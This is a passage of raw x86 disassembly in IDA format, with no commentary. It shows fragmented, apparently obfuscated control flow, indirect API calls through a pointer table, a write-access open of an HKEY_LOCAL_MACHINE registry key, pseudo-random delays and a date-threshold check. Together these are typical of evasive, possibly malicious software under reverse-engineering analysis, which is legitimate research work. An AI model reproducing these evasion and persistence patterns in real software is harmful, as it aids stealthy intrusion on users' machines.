		push	dword ptr [ebp-1Ch]
		pop	eax
		cmp	eax, esi
		jz	loc_9B454B
		jmp	off_9BAADC
; END OF FUNCTION CHUNK	FOR sub_9AD97C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1B20


loc_9AC1A0:				; CODE XREF: sub_9B1B20+1746j
		mov	[ebp+var_330], 1


loc_9AC1AA:				; CODE XREF: sub_9B1B20+1740j
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx+0Ch]
		pop	edx
		mov	eax, [ebp+var_32C]
		push	eax
		call	dword ptr [edx+14h]


loc_9AC1BE:				; CODE XREF: sub_9B1B20-D65j
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx+0Ch]
		pop	edx
		lea	eax, [ebp+var_32C]
		push	eax
		push	20006h
		push	0
		lea	ecx, [ebp+var_224]
		push	ecx
		push	80000002h
		call	dword ptr [edx+20h]
		test	eax, eax
		jnz	loc_9B193F
		jmp	loc_9AEF4C
; END OF FUNCTION CHUNK	FOR sub_9B1B20
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AE860


loc_9AC1FC:				; CODE XREF: sub_9AE860+2Aj
					; DATA XREF: .text:off_9B907Eo
		mov	[ebp+var_4], 0
		push	[ebp+arg_0]
		pop	eax


loc_9AC207:				; CODE XREF: sub_9AE860+276Aj
		push	[ebp+arg_4]
		pop	ecx
		mov	edx, ecx
		dec	ecx
		or	edx, edx
		mov	[ebp+arg_4], ecx
		jz	loc_9AF738
		jmp	loc_9B0FBC
; END OF FUNCTION CHUNK	FOR sub_9AE860
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9AC220:				; CODE XREF: sub_9B1D80-109Fj
					; DATA XREF: .text:off_9BACE8o
		push	dword ptr [ebp-2040h]
		pop	esi
		test	esi, esi
		jz	loc_9AB0A2
		jmp	loc_9B46A4
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B649C


loc_9AC234:				; CODE XREF: sub_9B649C-3351j
		movzx	ecx, byte ptr [esi+eax]
		mov	[ebp+var_2C], ecx
		inc	eax
		mov	[ebp+var_1C], eax
		test	cl, 0E0h
		jnz	loc_9ACCD8
		jmp	loc_9B4144
; END OF FUNCTION CHUNK	FOR sub_9B649C
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9AC250	proc near		; CODE XREF: sub_9B1A08-4417p
					; sub_9B1F68-3EEAp ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 009AB264 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 009AB2D8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009AD774 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009AF174 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009B0F50 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 009B137C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B3680 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 009B393C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B5368 SIZE 000000B0 BYTES
; FUNCTION CHUNK AT 009B5528 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B594C SIZE 0000002A BYTES

		mov	edx, esi
		sub	ecx, ecx
		mov	[edx], ecx
		mov	[edx+4], ecx
		push	ebx
		mov	[edx+8], ecx
		push	ebp
		mov	[edx+0Ch], ecx
		not	eax
		push	edi


loc_9AC264:				; CODE XREF: sub_9AC250-F76j
					; sub_9AC250+CEj ...
		push	15A4E35h
		pop	ecx
		mul	ecx
		add	eax, 1
		adc	edx, 0
		xor	[esi], dx
		mov	edx, ecx
		mul	edx
		add	eax, 1
		adc	edx, 0
		shr	edx, 1
		xor	[esi+4], dx
		mul	ecx
		add	eax, 1
		adc	edx, 0
		shr	edx, 2
		xor	[esi], dx
		mov	edx, ecx
		mul	edx
		add	eax, 1
		adc	edx, 0
		shr	edx, 3
		xor	[esi+4], dx
		mul	ecx
		add	eax, 1
		adc	edx, 0
		shr	edx, 4
		xor	[esi], dx
		push	ecx
		pop	edx
		mul	edx
		add	eax, 1
		adc	edx, 0
		shr	edx, 5
		xor	[esi+4], dx
		mul	ecx
		add	eax, 1
		adc	edx, 0
		shr	edx, 6
		xor	[esi], dx
		push	ecx
		pop	edx
		mul	edx
		add	eax, 1
		adc	edx, 0
		shr	edx, 7
		xor	[esi+4], dx
		mul	ecx
		add	eax, 1
		adc	edx, 0
		shr	edx, 8
		xor	[esi], dx
		mov	edx, ecx
		mul	edx
		add	eax, 1
		adc	edx, 0
		shr	edx, 9
		xor	[esi+4], dx
		mov	edi, [esi]
		mov	ebx, 1
		mov	edx, edi
		shr	edx, 5
		mov	ecx, edx
		and	ecx, 1Fh
		shl	ebx, cl
		shr	edx, 5
		test	dword_9BA4E8[edx*4], ebx
		jnz	loc_9AC264
		jmp	loc_9B3680
sub_9AC250	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9AC32C	proc near		; CODE XREF: sub_9AD11C-1801p
					; sub_9ABD30+19p ...

var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 009AB488 SIZE 00000061 BYTES
; FUNCTION CHUNK AT 009ABABC SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009AC35C SIZE 00000023 BYTES
; FUNCTION CHUNK AT 009AC5F8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009AD0F8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009AD280 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 009ADE10 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 009AEF90 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009B0708 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 009B3DA4 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009B4124 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009B5034 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B5E20 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009B61AC SIZE 00000011 BYTES

		mov	ecx, [esp+arg_0]
		sub	esp, 314h
		push	ebx
		push	ebp
		push	esi
		mov	esi, eax
		and	esi, 8
		push	edi
		mov	edx, 1
		jz	loc_9B0710
		jmp	loc_9B0708
sub_9AC32C	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9AC350:				; CODE XREF: sub_9AC6DC+4E9Fj
		mov	eax, 64h
		jmp	loc_9B004C
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC32C


loc_9AC35C:				; CODE XREF: sub_9AC32C+2C6Fj
		mov	ecx, dword_9BCB74
		mov	edx, [ecx+10h]
		lea	eax, [esp+324h+var_104]
		push	eax
		push	esi
		call	dword ptr [edx+58h]
		test	eax, eax
		jz	loc_9AD0FB
		jmp	off_9B87AC
; END OF FUNCTION CHUNK	FOR sub_9AC32C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AC380:				; CODE XREF: sub_9B1A08-43DBj
		call	sub_9B45AC
		sub	edx, edx
		push	64h
		pop	ecx
		div	ecx
		or	edx, edx
		jnz	loc_9B351C
		jmp	off_9B9785
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3150


loc_9AC39C:				; CODE XREF: sub_9B3150-45CCj
		mov	ecx, [ebx]
		cmp	ecx, 340h
		jbe	loc_9AEFA3
		jmp	loc_9B0094
; END OF FUNCTION CHUNK	FOR sub_9B3150
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B649C


loc_9AC3B0:				; CODE XREF: sub_9B649C-55C0j
		xor	ebx, ebx
		mov	bx, [esi+8]
		mov	eax, 0Ah
		mov	[ebp+var_28], ebx
		test	bl, 8
		mov	[ebp+var_1C], eax
		jz	loc_9B329E
		jmp	loc_9B3298
; END OF FUNCTION CHUNK	FOR sub_9B649C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9AC3D0:				; CODE XREF: sub_9AC6DC+47j
					; sub_9AC6DC+74B2j
		mov	dword_9BBD10, ebx
		mov	dword_9BBD14, ebx
		mov	eax, ebx


loc_9AC3DE:				; CODE XREF: sub_9AC6DC-BCDj
		push	dword_9BBD1C
		pop	edi
		cmp	ebx, edi
		jb	loc_9ABAA4
		jmp	off_9B91CC
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B03E8


loc_9AC3F4:				; CODE XREF: sub_9B03E8-4A4j
					; DATA XREF: .text:off_9B89A2o
		mov	edx, dword_9BF380
		or	edx, 4
		mov	word ptr dword_9BF380, dx


loc_9AC404:				; CODE XREF: sub_9B03E8-4AAj
					; sub_9B03E8+52DAj
		call	sub_9B562C
		mov	word ptr dword_9BF388, ax
		or	esi, 0FFFFFFFFh
		mov	dword_9BF390+2,	esi
		mov	word ptr dword_9BF394+2, 0
		mov	word_9BF398, si
		push	9
		mov	edx, 9BF38Ah
		mov	ecx, 4
		call	sub_9B4480
		and	eax, eax
		jnz	loc_9AF0F0
		jmp	loc_9AF0D4
; END OF FUNCTION CHUNK	FOR sub_9B03E8
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9AC448	proc near		; CODE XREF: sub_9B3408-7CD1p
					; sub_9B5480:loc_9AB858p ...

; FUNCTION CHUNK AT 009B5928 SIZE 00000011 BYTES

		test	eax, eax
		jz	nullsub_6
		jmp	off_9BABE7
sub_9AC448	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9AC458:				; CODE XREF: sub_9B1D80-55DFj
		push	dword ptr [ebp-2040h]
		pop	eax
		test	eax, eax
		jz	loc_9AE945
		jmp	off_9BA4E1
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 10h
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	off_9BAD92
		call	dword ptr [ecx+68h]
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B36E8


loc_9AC484:				; CODE XREF: sub_9B36E8+1C56j
		or	esi, 80000000h
		mov	[ebp-1Ch], esi


loc_9AC48D:				; CODE XREF: sub_9B36E8+58j
					; sub_9B36E8+1C50j
		test	esi, 7FFFFFFFh
		jz	loc_9ACE6D
		jmp	loc_9ADF98
; END OF FUNCTION CHUNK	FOR sub_9B36E8
; ---------------------------------------------------------------------------
		align 10h
		push	edi
		mov	ecx, 40h
		mov	edi, edx
		sub	eax, eax
		rep stosd
		stosw
		pop	edi
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AC4B0:				; CODE XREF: sub_9B0930-23F5j
					; DATA XREF: .text:off_9BAF5Bo
		push	off_9B979B
		mov	eax, [eax]
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		mov	[edx+84h], eax
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	eax
		push	dword ptr [eax+84h]
		pop	ecx
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9AC0EC
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF25C


loc_9AC4E8:				; CODE XREF: sub_9AF25C+6E08j
					; DATA XREF: .text:off_9BAF0Eo
		pop	edx
		call	sub_9B1B20
		push	5
		push	4
		pop	ecx
		mov	edx, off_9B9076
		call	sub_9B1B20
		mov	ecx, off_9B9844
		call	sub_9B5480
		mov	dword_9BBE3C, esi
		mov	[ebp+8], ebx
		call	sub_9AFF64
		lea	ecx, [ebp+8]
		call	sub_9B5480
		jmp	loc_9B33DB
; END OF FUNCTION CHUNK	FOR sub_9AF25C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B5904


loc_9AC524:				; CODE XREF: sub_9B5904-59DEj
		lea	edx, [esi+esi*4]
		shl	edx, 3
		mov	dword_9BEC1C[edx], 1
		mov	dword_9BEC2C[edx], ebx
		mov	dword_9BEC30[edx], edi
		push	ebx
		pop	eax
		call	sub_9B327C
		cmp	esi, 0FFFFFFFFh
		mov	dword_9BEC28[edx], eax
		jz	loc_9B42FE
		jmp	off_9BADF0
; END OF FUNCTION CHUNK	FOR sub_9B5904
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9AC55C:				; CODE XREF: sub_9ADDA4:loc_9B1C08j
					; DATA XREF: .text:009B2B20o
		mov	ecx, [ebp-278h]
		mov	eax, ecx
		cdq
		mov	edi, eax
		xor	edi, edx
		sub	edi, edx
		push	dword ptr [ebp-27Ch]
		pop	esi
		mov	eax, esi
		cdq
		xor	eax, edx
		sub	eax, edx
		cmp	eax, edi
		push	esi
		pop	eax
		jl	loc_9B2262
		jmp	loc_9B2260
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AC588:				; CODE XREF: sub_9B0930+7Fj
		push	off_9B92FC
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		mov	ecx, [edx+10h]
		mov	[ecx+60h], eax
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax+10h]
		pop	edx
		push	dword ptr [edx+60h]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B88A6
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AC5C0:				; CODE XREF: sub_9B63D8-A9C2j
					; sub_9B63D8-986Aj ...
		mov	ebx, [ebp-2128h]
		push	dword ptr [ebp-2124h]
		pop	ecx


loc_9AC5CD:				; CODE XREF: sub_9B63D8-9ADEj
					; sub_9B63D8-80E5j
		cmp	ecx, 0FFFFFFFFh
		jz	loc_9AED08
		jmp	loc_9B1E18
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB040


loc_9AC5DC:				; CODE XREF: sub_9AB040+23j
		push	dword_9BEC20[eax]
		pop	ecx
		and	ecx, ecx
		jz	loc_9B6548
		jmp	loc_9B0D90
; END OF FUNCTION CHUNK	FOR sub_9AB040
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC32C


loc_9AC5F8:				; CODE XREF: sub_9AC32C+DD9j
					; sub_9AC32C+9E86j
		push	1
		pop	eax


loc_9AC5FB:				; CODE XREF: sub_9AC32C+DD3j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 314h
		retn	8
; END OF FUNCTION CHUNK	FOR sub_9AC32C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9AC608:				; CODE XREF: sub_9B3864+1277j
					; DATA XREF: .text:off_9B9E9Bo
		mov	edx, [ebp+var_204C]
		test	byte ptr [edx+8], 8
		jz	loc_9AEB8C
		jmp	off_9B9139
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AF030


loc_9AC620:				; CODE XREF: sub_9AF030+37F2j
					; sub_9AF030+614Aj
		lea	ecx, [ebp+var_1C]
		call	sub_9B5480
		mov	edi, [ebp+var_1C]


loc_9AC62B:				; CODE XREF: sub_9AF030+233Fj
					; sub_9AF030+24F5j ...
		push	[ebp+arg_0]
		pop	ecx
		call	sub_9B35A0


loc_9AC634:				; CODE XREF: sub_9AF030+5Aj
					; sub_9AF030+45DAj ...
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	loc_9AE8BD
; END OF FUNCTION CHUNK	FOR sub_9AF030
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9AC640:				; CODE XREF: sub_9B1F68-3F19j
					; sub_9B1F68+2927j
					; DATA XREF: ...
		mov	[ebp-48h], esi
		push	dword ptr [ebp-54h]
		pop	ecx
		push	ecx
		mov	edx, esi
		call	sub_9B5CDC
		or	eax, eax
		jz	loc_9B40B4
		jmp	loc_9AE84C
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9AC65C:				; CODE XREF: sub_9ACEE8+5DB6j
					; sub_9ACEE8+65D9j
		mov	edx, dword_9BCB74
		mov	esi, [edx]
		call	sub_9B45AC
		push	15F90h
		pop	ecx
		xor	edx, edx
		div	ecx
		add	edx, 7530h
		push	edx
		call	dword ptr [esi+4]
		xor	ecx, ecx
		mov	[ebp-0DCh], ecx
		sub	eax, eax


loc_9AC687:				; CODE XREF: sub_9ACEE8-137Bj
		mov	[ebp-0D8h], eax
		cmp	eax, 93h
		jnb	loc_9AB937
		jmp	loc_9AFF00
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9AC6A0	proc near		; CODE XREF: sub_9B5100-9A42p
					; sub_9B4BF8-7012p ...

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 009AADB0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 009B4DC4 SIZE 000000D3 BYTES

		sub	esp, 14h
		or	eax, 0FFFFFFFFh
		sub	eax, esi
		mov	[esp+14h+var_8], eax
		mov	eax, 1
		sub	eax, esi
		mov	[esp+14h+var_4], eax
		push	ebx
		mov	eax, 0FFFFFFFEh
		sub	bl, bl
		sub	eax, esi
		push	ebp
		push	[esp+1Ch+arg_0]
		pop	ebp
		mov	[esp+1Ch+var_10], 2
		lea	ecx, [esi+2]
		mov	[esp+1Ch+var_C], eax
		jmp	loc_9B4DC8
sub_9AC6A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AC6DC	proc near		; CODE XREF: sub_9ACEE8+3453p
					; sub_9ACEE8+40C8p

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 009ABAA4 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009ABAF0 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 009AC350 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 009AC3D0 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 009ACC74 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009AF003 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 009AFC78 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 009AFE48 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 009B003C SIZE 00000029 BYTES
; FUNCTION CHUNK AT 009B1568 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 009B182C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009B1E04 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B24CC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B30B0 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B35E8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B3A68 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009B3B8C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B3F44 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009B4D80 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009B5090 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009B6188 SIZE 00000024 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B99AB
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	edx
		pop	edi
		mov	esi, ecx
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	off_9BAA6D
		call	dword ptr [ecx+18h]
		xor	ebx, ebx
		cmp	edi, ebx
		mov	[ebp+var_4], ebx
		jz	loc_9AC3D0
		jmp	off_9B974F
sub_9AC6DC	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-1Ch]
		pop	esi
; START	OF FUNCTION CHUNK FOR sub_9B36E8


loc_9AC73E:				; CODE XREF: sub_9B36E8-6874j
		mov	edx, dword_9BCB74
		mov	eax, [edx]
		push	off_9BADC8
		call	dword ptr [eax+1Ch]
		mov	ecx, [ebp-10h]
		mov	eax, esi
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B36E8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9AC764:				; CODE XREF: sub_9B1D80+1EC6j
		push	201h
		pop	ecx
		div	ecx
		add	edx, 200h


loc_9AC772:				; CODE XREF: sub_9B1D80-66EEj
		mov	[ebp-2068h], edx
		push	edx
		lea	edx, [ebp-201Ch]
		push	edx
		push	ebx
		lea	ecx, [ebp-2058h]
		lea	edx, [ebp-204Ch]
		call	sub_9B174C
		push	dword ptr [ebp-204Ch]
		pop	eax
		and	eax, eax
		jz	loc_9B3EC4
		jmp	loc_9AC458
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9AC7A8:				; CODE XREF: sub_9B04A8+3EBBj
					; DATA XREF: .text:off_9B9151o
		push	2000h
		lea	edx, [ebp-401Ch]
		push	edx
		mov	eax, 0Ah
		lea	ecx, [ebp-402Ch]
		lea	ebx, [ebp-4044h]
		mov	edi, esi
		call	sub_9B0734
		mov	ebx, eax
		mov	[ebp-404Ch], ebx
		test	bl, 2
		jz	loc_9B433A
		jmp	loc_9B4330
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B57B4


loc_9AC7E4:				; CODE XREF: sub_9B57B4-22A0j
					; DATA XREF: .text:off_9BA707o
		push	off_9B9207
		push	0
		lea	eax, [ebp+var_24]
		push	eax
		call	dword ptr [edx+4]
		and	eax, eax
		jz	loc_9B45EC
		jmp	off_9B91C8
; END OF FUNCTION CHUNK	FOR sub_9B57B4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3A74


loc_9AC804:				; CODE XREF: sub_9B3A74-8BB4j
					; DATA XREF: .text:off_9B9E28o
		mov	dword ptr [ebp-124h], 0
		jmp	loc_9B624E
; END OF FUNCTION CHUNK	FOR sub_9B3A74
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AC814:				; CODE XREF: sub_9B0930+37A3j
					; DATA XREF: .text:off_9B9946o
		mov	edx, [ebp-1Ch]
		mov	[ecx], edx
		push	off_9BAA83
		call	ebx
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx+4]
		mov	[edx], eax
		push	off_9B9EC0
		call	ebx
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx+8]
		pop	edx
		mov	[edx], eax
		push	off_9B969B
		call	ebx
		mov	ecx, dword_9BCB74
		mov	edx, [ecx+0Ch]
		mov	[edx], eax
		push	off_9B9A8F
		call	ebx
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx+10h]
		mov	[edx], eax
		push	off_9B998A
		call	ebx
		mov	ecx, dword_9BCB74
		mov	edx, [ecx+14h]
		mov	[edx], eax
		push	offset aVersion	; "VERSION"
		call	ebx
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx+18h]
		pop	edx
		mov	[edx], eax
		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		push	dword ptr [ecx]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B89DD
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AEC20


loc_9AC8A8:				; CODE XREF: sub_9AEC20+4449j
					; DATA XREF: .text:off_9BAF9Fo
		push	off_9B9844
		pop	ecx
		call	sub_9B5480
		mov	dword_9BBE3C, esi
		mov	[ebp-228h], edi


loc_9AC8C0:				; CODE XREF: sub_9AEC20+4443j
		lea	ecx, [ebp-228h]
		call	sub_9B5480
		push	5
		mov	ecx, 4
		mov	edx, off_9B9076
		call	sub_9B4480
		and	eax, eax
		jnz	loc_9AB712
		jmp	loc_9AB70C
; END OF FUNCTION CHUNK	FOR sub_9AEC20
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AC8EC:				; CODE XREF: sub_9B63D8-80DFj
					; DATA XREF: .text:off_9BA158o
		push	0Ch
		pop	eax


loc_9AC8EF:				; CODE XREF: sub_9B63D8-30Bj
		mov	[ebp-212Ch], eax
		lea	edx, [ebx-4]
		cmp	eax, edx
		jg	loc_9AC5CD
		jmp	off_9BAAC4
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B46CC


loc_9AC908:				; CODE XREF: sub_9B46CC-57EDj
					; sub_9B46CC+9j
					; DATA XREF: ...
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	eax
		push	esi
		call	dword ptr [eax+30h]
		mov	esi, dword_9BCB98
		mov	dword_9BEC18, eax
		call	sub_9B227C
		add	eax, esi
		cmp	eax, 49614D80h
		pop	esi
		jnb	loc_9B2424
		jmp	off_9BA388
; END OF FUNCTION CHUNK	FOR sub_9B46CC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B161C


loc_9AC93C:				; CODE XREF: sub_9B161C+DDj
					; DATA XREF: .text:off_9B962Eo
		mov	eax, esi


loc_9AC93E:				; CODE XREF: sub_9B161C+D7j
		mov	ecx, dword_9BCB74
		mov	edx, [ecx+10h]
		push	0
		push	eax
		push	ebx
		push	edi
		call	dword ptr [edx+48h]
		and	eax, eax
		jle	loc_9AB904
		jmp	off_9BA98A
; END OF FUNCTION CHUNK	FOR sub_9B161C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AC960:				; CODE XREF: sub_9B0930-2804j
					; DATA XREF: .text:off_9BB00Eo
		push	off_9BAB84
		mov	eax, [eax]
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx+10h]
		pop	edx
		mov	[edx+2Ch], eax
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax+10h]
		pop	eax
		push	dword ptr [eax+2Ch]
		pop	ecx
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9BA378
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B35A0


loc_9AC99B:				; CODE XREF: sub_9B35A0-24A1j
		mov	[ebp+var_4], 0FFFFFFFFh
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx]
		push	off_9BA623
		call	dword ptr [eax+1Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B35A0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9AC9C8:				; CODE XREF: sub_9ADDA4:loc_9B1C08j
					; DATA XREF: .text:009B2B24o ...
		lea	eax, [edi-1]
		mov	[ebp-20h], eax
		jmp	loc_9AED43
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B1134


loc_9AC9D7:				; CODE XREF: sub_9B1134+39j
		mov	[ebp+var_4], 0FFFFFFFFh
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx]
		pop	edx
		push	0
		call	dword ptr [edx+60h]
		xor	eax, eax
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9B1134
; ---------------------------------------------------------------------------
		align 4
